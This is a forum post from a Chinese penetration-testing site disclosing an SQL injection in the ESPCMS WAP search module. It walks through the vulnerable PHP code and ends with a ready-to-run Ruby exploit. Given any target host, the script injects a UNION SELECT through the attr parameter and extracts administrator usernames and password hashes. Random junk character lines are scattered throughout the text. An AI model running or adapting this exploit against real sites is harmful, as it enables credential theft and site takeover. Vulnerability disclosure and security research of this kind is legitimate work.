中国网络渗透测试联盟
标题:
espcms wap模块搜索处SQL注入
[打印本页]
作者:
admin
时间:
2013-7-27 18:31
标题:
espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节
+ ] }* F& h1 p& f0 W
0×2 PoC
& T! b; }/ o$ t$ f, O+ k* P
6 A" E' f7 U8 ~* d j' }0 j
8 D2 B) z$ m6 W I
7 t" D% S6 M+ V4 `! i1 g8 d2 l
0×0 漏洞概述
3 ]$ Q' m* w& D7 S# W2 {2 _7 n
- e1 J( s' S4 |2 g: V5 V
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
( u/ ]; A( A% l) r7 M" l
其在处理传入的参数时考虑不严谨导致
SQL注入
发生
/ h- J6 g/ J/ c5 u9 o( {3 |
1 `( a, c+ W+ `
+ Q. G3 ^: w: e! l& J
0×1 漏洞细节
6 g1 ^, U- { v8 |: }
& k/ E# P, e8 r% [5 m" k
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
" \0 l5 b1 R' {, r# l7 ?' }9 z! z
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
5 W4 N+ `" F- f. \2 z: ?
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的
SQL注入
。
, D n' b0 K: {; r4 }; g
& D1 {$ [; l' g. g! M6 {% b5 k6 b, D
在/interface/3gwap_search.php文件的in_result函数中:
9 h4 _1 o7 T4 b+ }2 \
& [0 C& w% F& A& h- J* S6 x
, r7 q* h+ @( ?7 |$ t
3 o3 B" ^; A' }, B; b
function in_result() {
6 Y" T. T" h' b0 Z( n
... ... ... ... ... ... ... ... ...
7 |1 @0 H. `: m! j) t: v4 L# \# `
$urlcode = $_SERVER[ 'QUERY_STRING '];
" F3 T0 h; s9 D5 t8 ^( l2 G% i
parse_str(html_entity_decode($urlcode), $output);
% C+ q- M! W5 E6 U
4 v+ u8 U4 {0 {5 w! U; A
... ... ... ... ... ... ... ... ...
& O1 X' X) H: P7 W, _1 D& O
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 s' v: O, q/ ?, g% J! _
+ Z9 R5 ~6 C$ J
$db_table = db_prefix . 'model_att';
9 F' U( J: {; j1 \7 g
( K3 e: U. D: ~. |& ?7 c3 ~
foreach ($output['attr' ] as $key => $value) {
/ m4 ^- K; A* {
if ($value) {
H l# T' F3 B7 P( q
- X. x3 M$ W2 X. c/ O6 Z1 L7 p
$key = addslashes($key);
' u0 H9 w. Z$ g5 O% q- C u
$key = $this-> fun->inputcodetrim($key);
, e: s# Z0 W( ~ \9 u: B
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
! Y' M5 V& D; V. I6 n1 u5 M
$countnum = $this->db_numrows($db_table, $db_att_where);
5 Q9 \/ y& F, E; H
if ($countnum > 0) {
; ?- r$ O i: G
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
5 X. O: Y' r: n' n; m
}
$ T- Z P; l2 b) v
}
+ O! f8 l, @/ B0 L4 q/ n& O
}
% y% Q0 ?3 b1 f
}
3 {7 Y- s) N: C- y
if (!empty ($keyword) && empty($keyname)) {
% n4 o) v6 H2 f$ b5 |4 b
$keyname = 'title';
9 J# J: _: n" H( c2 h/ S
$db_where.= " AND a.title like '%$keyword%'" ;
' R7 r' A, W( x4 K. e
} elseif (!empty ($keyword) && !empty($keyname)) {
/ m" W! F% ]+ Y6 O+ M$ ?" a" W, L
$db_where.= " AND $keyname like '% $keyword%'";
4 d3 B1 |! W; q0 M; I R% X
}
9 L( h z0 C# u: K
$pagemax = 15;
$ h- Y! C1 r% h% B
/ k% z$ q( V/ S/ c, C
$pagesylte = 1;
8 T6 F' N4 s4 c* e4 u& N
9 V- }' I8 L9 x: ~& T
if ($countnum > 0) {
. J8 Z3 y" R5 ]6 V0 h0 {
4 ~% Z8 t# a) S* B- b: X1 h% k1 X
$numpage = ceil($countnum / $pagemax);
3 I$ c/ U) U: |- a
} else {
' y2 E5 d: l! T6 c/ p. Z7 R
$numpage = 1;
; e V0 B+ U: P' N
}
- I: U3 N: p3 @9 ?5 U1 M$ w: a
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
8 k" ]5 g. T' [4 A( l7 k
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
) r- O% B7 p8 ?8 q: V( b* h9 W7 g
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
! T ?/ I5 ]6 d3 @% l3 Q' R, ~ |7 U
... ... ... ... ... ... ... ... ...
9 U; E6 f8 [7 @) }# b. f
}
* s* Y" u2 I$ y% v" O$ `
c, M8 h6 `/ c* Q
' [3 ] ~6 \ G/ Q3 D
0×2 PoC
; v* E q$ R" x4 d
) G0 M" d) @- N l: P& w
4 ] Z3 \/ t* k% b2 `
- d' Y u0 r/ ?! `6 N7 h F
require "net/http"
4 Q" g2 S8 ]1 K/ A# L4 z
6 a6 E+ s+ b A% ?7 |
def request(method, url)
0 \; o( D+ O; I4 G; c
if method.eql?("get")
9 o0 T1 s- @- t( F) m- }7 m
uri = URI.parse(url)
# E$ s# ^7 o2 m2 b! [3 O H# @+ G
http = Net::HTTP.new(uri.host, uri.port)
+ Q. Z* s v; R7 q; V4 p# c9 D5 w
response = http.request(Net::HTTP::Get.new(uri.request_uri))
5 ], n! w( d" u, d2 l2 \( e
return response
% t" q+ y' k0 M/ K4 Q$ s
end
v; O1 [* e% y. E4 F/ j! R3 `
end
0 `' O. R, S7 i$ F% Z9 {
2 K' }" f! Z1 ?
doc =<<HERE
8 ? a0 x+ |; c( q
-------------------------------------------------------
, T. K0 [5 k" c% V
Espcms Injection Exploit
" O+ h; @) I9 T4 o
Author:ztz
* T* U0 R7 P: C' p2 m7 C
Blog:
http://ztz.fuzzexp.org/
( V" `7 N! o1 f' b
-------------------------------------------------------
0 e9 P! ?- E1 K, p% T5 J
- q6 ?3 h' Z3 Q# T2 p4 J3 _
HERE
! i2 {: B/ f/ B3 T) R0 c# n
0 B+ x% ^4 w7 F
usage =<<HERE
' K; h9 P, M6 b" i( E' V
Usage: ruby #{$0} host port path
: {' Z' [! B) ]9 m' F
example: ruby #{$0}
www.target.com
80 /
- q8 h* n* c* R( l) y1 c
HERE
1 B* O0 v6 a8 [6 k8 T6 ?; h
2 W! k: L: `& q+ d" J
puts doc
5 J6 q( w5 z) r8 t! l
if ARGV.length < 3
0 n% L- u9 @* [/ R5 m7 }/ V. G! ~
puts usage
8 t2 H. y4 r- C9 S1 l1 `
else
/ b- F2 n0 a: z m
$host = ARGV[0]
0 D7 C' Z! `" L
$port = ARGV[1]
( p) I5 |( ~9 }1 ?$ v
$path = ARGV[2]
! E+ |2 L2 v6 ~( r4 N
1 _" a8 g: s" t; q$ K T% l e
puts "
send request..."
: @" b% N+ J1 D# E: n% ]; v- b
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
, Y Y5 Z4 }* r+ U, J/ n" k
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
) p+ e1 O5 `0 O) |3 ~
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
; f$ V. [4 [' L* s6 m: L+ s
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
- ]$ P: n1 B3 p$ o# L
response = request("get", url)
0 a! p- `! D8 F1 j
result = response.body.scan(/\w+&\w{32}/)
3 W8 |6 B5 G# M$ C
puts result
{8 K4 u9 n- | l7 Y+ I3 G6 _( Z0 x
end
# `) D& y3 P1 g$ Q6 k& g7 U
. O5 [$ ~$ h' k8 _* Z* }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2